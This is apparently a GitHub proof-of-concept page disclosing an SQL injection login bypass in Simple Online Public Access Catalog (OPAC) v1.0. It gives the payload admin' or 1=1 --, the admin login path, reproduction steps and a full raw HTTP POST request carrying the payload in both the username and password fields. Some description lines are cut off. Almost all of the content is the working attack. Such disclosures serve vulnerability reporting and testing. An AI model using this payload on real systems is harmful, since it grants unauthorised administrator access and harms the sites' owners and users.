

main

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## Simple-Online-Public-Access-Catalog-OPAC---SQL-injection / POC



Hakcoder Update POC

History

1 contributor

52 lines (40 sloc) | 1.51 KB

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```
1 # Exploit Title: Simple Online Public Access Catalog (OPAC) - SQL injection
2 # Exploit Author: Vijay Reddy
3 # Vendor Name: oretnom23
4 # Vendor Homepage: https://www.sourcecodester.com/php/15028/simple-online-public-access-catalog-op
5 # Software Link: https://www.sourcecodester.com/php/15028/simple-online-public-access-catalog-opac
6 # Version: v1.0
7 # Tested on: Windows 11, Apache
8 # CVE: ytd
9
10
11 Description:-
12 A SQL Injection issue in Simple Onlne Public Access Catalog (OPAC) v.1.0 allows an attacker to log
13
14 `
15
16 Payload used:-
17 admin' or 1=1 --
18
19 `
20
21 Parameter:-
22 login id and password
23
24 `
25 Steps to reproduce:-
26
27 1. First go to admin login
28
29 2. http://localhost/opac/admin/login.php
30
31 2. In that put the payload in username and password field
```

```
30 3. As you can see we got logged in
31
32
33 #Request Body
34
35 POST /opac/Actions.php?a=login HTTP/1.1
36 Host: localhost
37 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
38 Accept: application/json, text/javascript, /; q=0.01
39 Accept-Language: en-US,en;q=0.5
40 Accept-Encoding: gzip, deflate
41 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
42 X-Requested-With: XMLHttpRequest
43 Content-Length: 57
44 Origin: http://localhost/
45 Connection: close
46 Referer: http://localhost/opac/admin/login.php
47 Cookie: PHPSESSID=42nj8l3fi0hg6lngdh385agpp5
48 Sec-Fetch-Dest: empty
49 Sec-Fetch-Mode: cors
50 Sec-Fetch-Site: same-origin
51
52 username=admin'+or+1%3D1+--+&password=admin'+or+1%3D1+--+
```